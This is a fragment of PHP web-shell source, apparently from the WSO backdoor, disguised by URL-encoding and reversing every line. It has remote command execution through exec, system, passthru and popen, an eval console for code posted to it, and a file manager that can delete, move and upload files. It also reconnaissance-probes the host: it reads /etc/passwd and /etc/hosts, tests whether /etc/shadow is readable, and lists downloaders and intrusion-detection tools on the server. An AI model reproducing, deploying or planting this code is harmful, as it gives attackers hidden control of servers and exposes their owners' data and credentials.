%09%0D%0A%7B+%29%27piznu%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%7D++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++%0D%0A%3B%29%28esolc%3E-piz%24++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ridhc++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++++++++++%0D%0A%3B%29yek%24+%2C%29yek%24%28htaplaer%28eliFdda%3E-piz%24++++++++++++++++++++++++++++++++++++++++%0D%0A%7B+%29eulav%24%3E%3Dyek%24+sa+rotareti%24%28+hcaerof++++++++++++++++++++++++++++++++++++%0D%0A%3B%29%29STOD_PIKS%3A%3ArotaretImetsyseliF+%2C%27%2F%27.f%24%28rotaretIyrotceriDevisruceR+wen%28rotaretIrotaretIevisruceR+wen+%3D+rotareti%24++++++++++++++++++++++++++++++++++++%0D%0A%7B+%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28rid_si%40%28fiesle++++++++++++++++++++++++++++++++%0D%0A%3B%29f%24+%2Cf%24.%5D%27c%27%5BEIKOOC_%24%28eliFdda%3E-piz%24++++++++++++++++++++++++++++++++++++%0D%0A%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28elif_si%40%28fi++++++++++++++++++++++++++++++++%0D%0A%3Beunitnoc++++++++++++++++++++++++++++++++++++%0D%0A%29%27..%27+%3D%3D+f%24%28fi++++++++++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27c%27%5BEIKOOC_%24%28ridhc++++++++++++++++++++++++++++%0D%0A%7B+%29%291+%2C%5D%272p%27%5BTSOP_%24%28nepo%3E-piz%24%28+fi++++++++++++++++++++++++%0D%0A%3B%29%28evihcrApiZ+wen+%3D+piz%24++++++++++++++++++++++++%0D%0A%7B+%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi%09%09%09%09%09%0D%0A%7B+%29%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%3B%29f%24.%5D%27dwc%27%5BSLABOLG%24+%2Cf%24.%5D%27c%27%5BEIKOOC_%24%28emaner%40%09%09%09%09%09%09%0D%0A%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29s%24.d%24+%2Cs%24.c%24%28ypoc%40%09%09%09%09%09%09%09%0D%0A%29%29s%24.c%24%28elif_si%40%28fiesle+%7D%09%09%09%09%09%09%0D%0A%3B%29%27%2F%27.s%24.d%24+%2Cf%24%2C%27%2F%27.s%24.c%24%28etsap_ypoc%09%09%09%09%09%09%09%09%09%0D%0A%29%29%22..%22+%3D%21+f%24%28+dna+%29%22.%22+%3D%21+f%24%28%28+fi%09%09%09%09%09%09%09%09%0D%0A%29eslaf+%3D%3D%21+%29%29h%24%28riddaer%40+%3D+f%24%28%28+elihw%09%09%09%09%09%09%09%0D%0A%3B%29s%24.c%24%28ridnepo%40+%3D+h%24%09%09%09%09%09%09%09%0D%0A%3B%29s%24.d%24%28ridkm%09%09%09%09%09%09%09%0D%0A%7B%29%29s%24.c%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%7B%29d%24%2Cs%24%2Cc%24%28etsap_evom+noitcnuf%09%09%09%09%09%0D%0A%7B+%29%27evom%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24+%2Cf%24%2C%5D%27c%27%5BEIKOOC_%24%28etsap_ypoc%09%09%09%09%09%09%0D%0A%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29s%24.d%24+%2Cs%24.c%24%28ypoc%40%09%09%09%09%09%09%09%0D%0A%29%29s%24.c%24%28elif_si%28fiesle+%7D%09%09%09%09%09%09%0D%0A%3B%29%27%2F%27.s%24.d%24+%2Cf%24%2C%27%2F%27.s%24.c%24%28etsap_ypoc%09%09%09%09%09%09%09%09%09%0D%0A%29%29%22..%22+%3D%21+f%24%28+dna+%29%22.%22+%3D%21+f%24%28%28+fi%09%09%09%09%09%09%09%09%0D%0A%29eslaf+%3D%3D%21+%29%29h%24%28riddaer%40+%3D+f%24%28%28+elihw%09%09%09%09%09%09%09%0D%0A%3B%29s%24.c%24%28ridnepo%40+%3D+h%24%09%09%09%09%09%09%09%0D%0A%3B%29s%24.d%24%28ridkm%09%09%09%09%09%09%09%0D%0A%7B%29%29s%24.c%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%7B%29d%24%2Cs%24%2Cc%24%28etsap_ypoc+noitcnuf%09%09%09%09%09%0D%0A%7B+%29%27ypoc%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fi%09%09%09%09%0D%0A%3A%27etsap%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29f%24%28knilnu%40%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%0D%0A%3B%29f%24%28riDeteled%09%09%09%09%09%09%09%0D%0A%29%29f%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%3B%29f%24%28edocedlru+%3D+f%24%09%09%09%09%09%09%0D%0A%3Beunitnoc++++++++++++++++++++++++++++%0D%0A%29%27..%27+%3D%3D+f%24%28fi++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BTSOP_%24%28hcaerof%09%09%09%09%09%0D%0A%29%29%5D%27f%27%5BTSOP_%24%40%28yarra_si%28fi%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29htap%24%28ridmr%40%09%09%09%09%09%0D%0A%3B%29hd%24%28ridesolc%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29meti%24%28knilnu%40%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%0D%0A%3B%29meti%24%28riDeteled%09%09%09%09%09%09%09%0D%0A%29%22rid%22+%3D%3D+epyt%24%28+fi%09%09%09%09%09%09%0D%0A%3B%29meti%24%28epytelif+%3D+epyt%24%09%09%09%09%09%09%0D%0A%3Beunitnoc%09%09%09%09%09%09%09%0D%0A%29+%29%22.%22+%3D%3D+%29meti%24%28emanesab%28+%7C%7C+%29%22..%22+%3D%3D+%29meti%24%28emanesab%28+%28+fi%09%09%09%09%09%09%0D%0A%3Bmeti%24.htap%24+%3D+meti%24%09%09%09%09%09%09%0D%0A%7B+%29eslaf+%3D%3D%21+%29+%29hd%24%28riddaer+%3D+meti%24%28+%28+elihw%09%09%09%09%09%0D%0A%3B%29htap%24%28ridnepo+%3D++hd%24%09%09%09%09%09%0D%0A%3B%27%2F%27.htap%24%3Ahtap%24+%3F+%29%27%2F%27%3D%3D%291-%2Chtap%24%28rtsbus%28+%3D+htap%24%09%09%09%09%09%0D%0A%7B+%29htap%24%28riDeteled+noitcnuf%09%09%09%09%0D%0A%3A%27eteled%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%22rid+wen+etaerc+t%27naC%22+ohce%09%09%09%09%09%0D%0A%29%29%5D%272p%27%5BTSOP_%24%28ridkm%40%21%28fi%09%09%09%09%0D%0A%3A%27ridkm%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%22%21elif+daolpu+t%27naC%22+ohce%09%09%09%09%09%0D%0A%29%29%5D%27eman%27%5B%5D%27f%27%5BSELIF_%24+%2C%5D%27eman_pmt%27%5B%5D%27f%27%5BSELIF_%24%28elif_dedaolpu_evom%40%21%28fi%09%09%09%09%0D%0A%3A%27eliFdaolpu%27+esac%09%09%09%0D%0A%7B+%29%5D%271p%27%5BTSOP_%24%28hctiws%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24%28ezilairesnu%40+%3D+%5D%27f%27%5BEIKOOC_%24++++++++%0D%0A%29%29%5D%27f%27%5BEIKOOC_%24%28+ytpme%21%28+fi++++%0D%0A%7B+%29%28naMseliFnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%3Eerp%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%28naelc_teg_bo%28srahclaicepslmth+ohce%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%27%3E1lm%3Dssalc+%22%3Bxp5%3Apot-nigram%27.%29%27%27%3A%27%3Benon%3Ayalpsid%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%27%22%3Delyts+tuptuOphP%3Ddi+erp%3C%3Emrof%2F%3CXAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C+%27+ohce%09%0D%0A%3B%27%3E%22xp5%3Apot-nigram%22%3Delyts+lavE%3Deulav+timbus%3Depyt+tupni%3C%3Eaeratxet%2F%3C%27.%29%27%27%3A%29%5D%271p%27%5BTSOP_%24%28srahclaicepslmth%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28.%27%3EedoCphP%3Ddi+aeragib%3Dssalc+edoc%3Deman+aeratxet%3C%3E%22%3Beslaf+nruter%7D%3B%29%27%5C%27%5C%2Ceulav.edoc.siht%2Cllun%2C%27%5CphP%27%5C%28g%7Besle%7D%3B%29eulav.edoc.siht%2Cllun%2C%27%5CphP%27%5C%28a%7B%29dekcehc.xaja.siht%28fi%22%3Dtimbusno+tsop%3Ddohtem+fp%3Deman+mrof%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cedoc-PHP+noitucexE%3E1h%3C%27+ohce++++%0D%0A%7D%09%0D%0A%3B%27%3Erb%3C%3Evid%2F%3C%27.+%29pmt%24+%2C%272h%3C%27%2C%271h%3C%27%28ecalper_rts+ohce%09%09%0D%0A%3B%29pmt%24+%2C%29++++++++%0D%0A%27%27++++++++++++%0D%0A%2C%27%7D1%24%7B+ht+h.+%2Ch.+%2Cv.+%2Ce.%27++++++++++++%0D%0A%2C%27%27++++++++++++%0D%0A%28+yarra+%2C%29++++++++%0D%0A%2C%27Uism%21%3E%2B%5D%3E%5E%5Bgmi%3C%21%27++++++++++++%0D%0A%2C%27Uism%21%7D%29%2A.%28%7B+ht+%2Cdt%21%27++++++++++++%0D%0A%2C%27Uism%21%7D%2A.%7B+%292h+%2C1h+%2Cht+%2Cdt+%2Cydob%7C%2Bw%5C%3Aa%7Cydob%28%21%27++++++++++++%0D%0A%28+yarra%28ecalper_gerp+%3D+pmt%24++++++++%0D%0A%3B%29%28naelc_teg_bo+%3D+pmt%24%09%09%0D%0A%3B%29%28ofniphp%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%27%3Eelyts%2F%3C%7D%3B000%23%3Aroloc%7B+p.%3Eelyts%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cofni+PHP%3E1h%3C%27+ohce%09%09%0D%0A%7B+%29%29%27ofni%27+%3D%3D+%5D%272p%27%5BTSOP_%24%28+%26%26+%29%5D%272p%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%0D%0A%3B%290+%2C%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%22n%5C%3B%27%22+.+%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22+%2C%29%29%28naelc_teg_bo%28srahclaicepslmth%28sehsalscdda+.+%22%27%3DLMTHrenni.%29%27tuptuOphP%27%28dIyBtnemelEteg.tnemucod%3B%27%27%3Dyalpsid.elyts.%29%27tuptuOphP%27%28dIyBtnemelEteg.tnemucod%22+%3D+pmet%24%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%7B+%29%28phPnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%27resu+ten%27%28xEosw%2C%27stnuoccA+resU%27%28maraPceSosw%09%09%0D%0A%3B%29%29%27stnuocca+ten%27%28xEosw%2C%27sgnitteS+tnuoccA%27%28maraPceSosw%09%09%0D%0A%3B%29%29%27rev%27%28xEosw%2C%27noisreV+SO%27%28maraPceSosw%09%09%0D%0A%7B+esle+%7D%09%0D%0A%7D++++++++++++%0D%0A%7D++++++++++++++++%0D%0A%3B%29pmet%24+%2C%27sresU%27%28maraPceSosw++++++++++++++++++++%0D%0A%3B%27%3E%2Frb%3C%27+ohce++++++++++++++++++++%0D%0A%7D++++++++++++++++++++%0D%0A%3B%22n%5C%22.%29diu%24%2C%27%3A%27%28nioj+%3D.+pmet%24++++++++++++++++++++++++++++%0D%0A%29diu%24%28+fi++++++++++++++++++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28diuwpteg_xisop%40+%3D+diu%24++++++++++++++++++++++++%0D%0A%7B+%29%2B%2B%5D%272p%27%5BTSOP_%24%3B%5D%273p%27%5BTSOP_%24+%3D%3C+%5D%272p%27%5BTSOP_%24%3B%28rof++++++++++++++++++++%0D%0A%3B%22%22+%3D+pmet%24++++++++++++++++++++%0D%0A%7B+%29%29%5D%273p%27%5BTSOP_%24%28ciremun_si+%26%26+%29%5D%272p%27%5BTSOP_%24%28ciremun_si+%26%26+%29%5D%273p%27%5BTSOP_%24+%2C%5D%272p%27%5BTSOP_%24%28+tessi%28+fi++++++++++++++++%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E0001%3Deulav+2marap%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3CoT%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3E0%3Deulav+1marap%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3CmorF%3Edt%3C%3Ert%3C%3E%27%5C%3Beslaf+nruter%3B%29eulav.2marap.siht%2Ceulav.1marap.siht%2C%225%22%2Cllun%2Cllun%28g%27%5C%3Dtimbusno+mrof%3C%3Eelbat%3C%3Enaps%2F%3C%29dwssap%2Fcte%2F+%22daeR%22%28+diuwpteg_xisop%3Enaps%3C%3E%2Frb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%29%27stsoh%2Fcte%2F%27%28stnetnoc_teg_elif%40+%2C%27stsoH%27%28maraPceSosw++++++++++++++++%0D%0A%3B%29%29%27h-+fd%27%28xEosw+%2C%27ecaps+DDH%27%28maraPceSosw++++++++++++++++%0D%0A%3B%27%3E%2Frb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27sredaolnwoD%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+sredaolnwod%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27regnaD%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+regnad%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27lufresU%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+lufresu%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%27%3Erb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%27rorrim-pwl%27%2C%27teg%27%2C%27lruc%27%2C%27sknil%27%2C%27xnyl%27%2C%27hctef%27%2C%27tegw%27%28yarra+%3D+sredaolnwod%24++++++++++++++++%0D%0A%3B%29%27ajnin%27%2C%27nacsmrow%27%2C%27llimwas%27%2C%27pacsbmz%27%2C%27ksamsys%27%2C%27hctawgol%27%2C%27kcehcgol%27%2C%27dixs%27%2C%27gdolpct%27%2C%27mdasdil%27%2C%27cesso%27%2C%27trons%27%2C%27yrtnestrop%27%2C%27ccdleihs%27%2C%27eriwpirt%27%2C%27wfpi%27%2C%27selbatpi%27%2C%27tiktoorkhc%27%2C%27retnuhkr%27%2C%27dmalc%27%2C%27dbewrd%27%2C%27vas%27%2C%27nacsvu%27%2C%27derocdb%27%2C%2723don%27%2C%27vak%27%28yarra+%3D+regnad%24++++++++++++++++%0D%0A%3B%29%27lrepdius%27%2C%27etacol%27%2C%27cn%27%2C%272pizb%27%2C%27pizb%27%2C%27pizg%27%2C%27rat%27%2C%27ybur%27%2C%27nohtyp%27%2C%27lrep%27%2C%27php%27%2C%27ekam%27%2C%27dl%27%2C%27cc%27%2C%27ccl%27%2C%27ccg%27%28yarra+%3D+lufresu%24++++++++++++++++%0D%0A%7B+%29%5D%27edom_efas%27%5BSLABOLG%24%21%28fi++++++++++++%0D%0A%3B%29%29%27ten.eussi%2Fcte%2F%27%28stnetnoc_teg_elif%40+%2C%27eman+rtsiD%27%28maraPceSosw++++++++++++%0D%0A%3B%29%29%27noisrev%2Fcorp%2F%27%28stnetnoc_teg_elif%40+%2C%27noisrev+SO%27%28maraPceSosw++++++++++++%0D%0A%3B%29%27on%27%3A%22%3Ea%2F%3C%5Dweiv%5B%3E%27%29%22%5Cwodahs%22%5C+%2C%22%5C%2Fcte%2F%22%5C+%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C+sey%22%3F%29%27wodahs%2Fcte%2F%27%28elbadaer_si%40+%2C%27wodahs%2Fcte%2F+elbadaeR%27%28maraPceSosw++++++++++++%0D%0A%3B%29%27on%27%3A%22%3Ea%2F%3C%5Dweiv%5B%3E%27%29%22%5Cdwssap%22%5C+%2C%22%5C%2Fcte%2F%22%5C+%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C+sey%22%3F%29%27dwssap%2Fcte%2F%27%28elbadaer_si%40+%2C%27dwssap%2Fcte%2F+elbadaeR%27%28maraPceSosw++++++++++++%0D%0A%7B+%29%27xin%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28fi%09%0D%0A%0D%0A%3B%27%3Erb%3C%27+ohce%09%0D%0A%3B%29%29pmet%24+%2C%27+%2C%27%28edolpmi+%2C%27sesabatad+detroppuS%27%28maraPceSosw%09%0D%0A%3B%22elcarO%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_ico%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22LQSergtsoP%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_gp%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22LQSSM%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_lqssm%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22%29%22.%29%28ofni_tneilc_teg_lqsym.%22%28+lqSyM%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27ofni_tneilc_teg_lqsym%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%29%28yarra%3Dpmet%24%09%0D%0A%3B%29%27on%27%3A%27delbane%27%3F%29%27noisrev_lruc%27%28stsixe_noitcnuf+%2C%27troppus+LRUc%27%28maraPceSosw%09%0D%0A%3B%29%29%27rid_edulcni_edom_efas%27%28teg_ini%40+%2C%27rid+edulcni+edom+efaS%27%28maraPceSosw%09%0D%0A%3B%29%29%27rid_cexe_edom_efas%27%28teg_ini%40+%2C%27rid+cexe+edom+efaS%27%28maraPceSosw%09%0D%0A%3B%29%29%27ridesab_nepo%27%28teg_ini%40+%2C%27rid+esab+nepO%27%28maraPceSosw%09%0D%0A%3B%29%27enon%27%3A%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%3F%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24+%2C%27snoitcnuF+PHP+delbasiD%27%28maraPceSosw%09%0D%0A%3B%29%29%29%28seludom_teg_ehcapa+%2C%27+%2C%27%28edolpmi+%2C%27seludom+ehcapA+dedaoL%27%28maraPceSosw++++++++%0D%0A%29%29%27seludom_teg_ehcapa%27%28stsixe_noitcnuf%28fi++++%0D%0A%3B%29%29%27ERAWTFOS_REVRES%27%28vneteg%40+%2C%27erawtfos+revreS%27%28maraPceSosw%09%0D%0A%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3B%27%3Eerp%2F%3C%27+.+v%24+.+%27%3E1lm%3Dssalc+erp%3C%27+ohce%09%09%09%09%0D%0Aesle%09%09%09%0D%0A%3B%27%3Erb%3C%27+.+v%24+ohce%09%09%09%09%0D%0A%29eslaf+%3D%3D%3D+%29%22n%5C%22+%2Cv%24%28soprts%28fi%09%09%09%0D%0A%3B%27%3Enaps%2F%3C+%3A%27+.+n%24+.+%27%3Enaps%3C%27+ohce%09%09%09%0D%0A%7B+%29v%24%28fi%09%09%0D%0A%3B%29v%24%28mirt+%3D+v%24%09%09%0D%0A%7B+%29v%24+%2Cn%24%28maraPceSosw+noitcnuf%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cnoitamrofni+ytiruces+revreS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28ofnIceSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Beslaf+nruter%09%0D%0A%3Bhtap%24+nruter%09%09%0D%0A%29%29htap%24%28ytpme%21%28fi%09%0D%0A%3B%29p%24+.+%27+hcihw%27%28xEosw+%3D+htap%24%09%0D%0A%7B+%29p%24%28hcihWosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%7D++++%0D%0A%3Bselif%24+nruter++++++++%0D%0A%3Bemanelif%24+%3D+%5D%5Bselif%24++++++++++++%0D%0A%29%29%29hd%24%28riddaer+%3D+emanelif%24%28+%3D%3D%21+eslaf%28+elihw++++++++%0D%0A%3B%29rid%24%28ridnepo+%3D++hd%24++++++++%0D%0A%7B+esle+%7D++++%0D%0A%3B%29rid%24%28ridnacs+nruter++++++++%0D%0A%7B+%29%29%22ridnacs%22%28stsixe_noitcnuf%28fi++++%0D%0A%7B+%29rid%24%28ridnacSosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3E00ff52%23%3Droloc+tnof%3C%27+nruter%09%09%0D%0Aesle%09%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3Eetihw%3Droloc+tnof%3C%27+nruter%09%09%0D%0A%29%29f%24%28elbatirw_si%40%21%28+fiesle%09%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3E0000FF%23%3Droloc+tnof%3C%27+nruter%09%09%0D%0A%29%29f%24%28elbadaer_si%40%21%28+fi%09%0D%0A%7B+%29f%24%28roloCsmrePosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Bi%24+nruter%09%0D%0A%3B%29%29%27-%27+%3A+%27T%27+%3F+%290020x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27t%27+%3F+%290020x0+%26+p%24%28%28+%3F+%291000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%292000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%294000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%29%27-%27+%3A+%27S%27+%3F+%290040x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27s%27+%3F+%290040x0+%26+p%24%28%28+%3F+%298000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%290100x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%290200x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%29%27-%27+%3A+%27S%27+%3F+%290080x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27s%27+%3F+%290080x0+%26+p%24%28%28+%3F+%290400x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%290800x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%290010x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%27u%27+%3D+i%24+esle%09%0D%0A%3B%27p%27+%3D+i%24%290001x0+%3D%3D+%290001x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27c%27+%3D+i%24%290002x0+%3D%3D+%290002x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27d%27+%3D+i%24%290004x0+%3D%3D+%290004x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27b%27+%3D+i%24%290006x0+%3D%3D+%290006x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27-%27+%3D+i%24%290008x0+%3D%3D+%290008x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27l%27+%3D+i%24%29000Ax0+%3D%3D+%29000Ax0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27s%27+%3D+i%24%29000Cx0+%3D%3D+%29000Cx0+%26+p%24%28%28+fi%09%0D%0A%7B+%29p%24%28smrePosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27B+%27+.+s%24+nruter%09%09%0D%0Aesle%09%0D%0A%3B%27BK+%27+.+%29+4201+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%294201+%3D%3E+s%24%28fiesle%09%0D%0A%3B%27BM+%27+.+%29+6758401+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%296758401+%3D%3E+s%24%28fiesle%09%0D%0A%3B%27BG+%27+.%29+4281473701+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%294281473701+%3D%3E+s%24%28fi%09%0D%0A++++%0D%0A%3B%29s%24+%2C%22u%25%22%28ftnirps+%3D+s%24++++++++%0D%0A%29%29s%24%28tni_si%28+fi++++%0D%0A%7B+%29s%24%28eziSweiVosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Btuo%24+nruter%09%0D%0A%7D%09%0D%0A%3B%29f%24%28esolcp%09%09%0D%0A%3B%294201%2Cf%24%28daerf+%3D.+tuo%24%09%09%09%0D%0A%29%29f%24%28foef%40%21%28elihw%09%09%0D%0A%3B%22%22+%3D+tuo%24%09%09%0D%0A%7B+%29%29%29%22r%22%2Cni%24%28nepop%40+%3D+f%24%28ecruoser_si%28+fiesle+%7D%09%0D%0A%3B%29ni%24%28cexe_llehs+%3D+tuo%24%09%09%0D%0A%7B+%29%29%27cexe_llehs%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29%28naelc_teg_bo+%3D+tuo%24%09%09%0D%0A%3B%29ni%24%28metsys%40%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%27metsys%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29%28naelc_teg_bo+%3D+tuo%24%09%09%0D%0A%3B%29ni%24%28urhtssap%40%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%27urhtssap%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29tuo%24%2C%22n%5C%22%28nioj%40+%3D+tuo%24%09%09%0D%0A%3B%29tuo%24%2Cni%24%28cexe%40%09%09%0D%0A%7B+%29%29%27cexe%27%28stsixe_noitcnuf%28+fi%09%0D%0A%3B%27%27+%3D+tuo%24%09%0D%0A%7B+%29ni%24%28xEosw+noitcnuf%0D%0A%0D%0A%7D+%7D%3Beslaf+nruter%7B+%29p%24%28digrgteg_xisop+noitcnuf++++%0D%0A%7B+%29%29eslaf%3D%3D%3D%29%27digrgteg_xi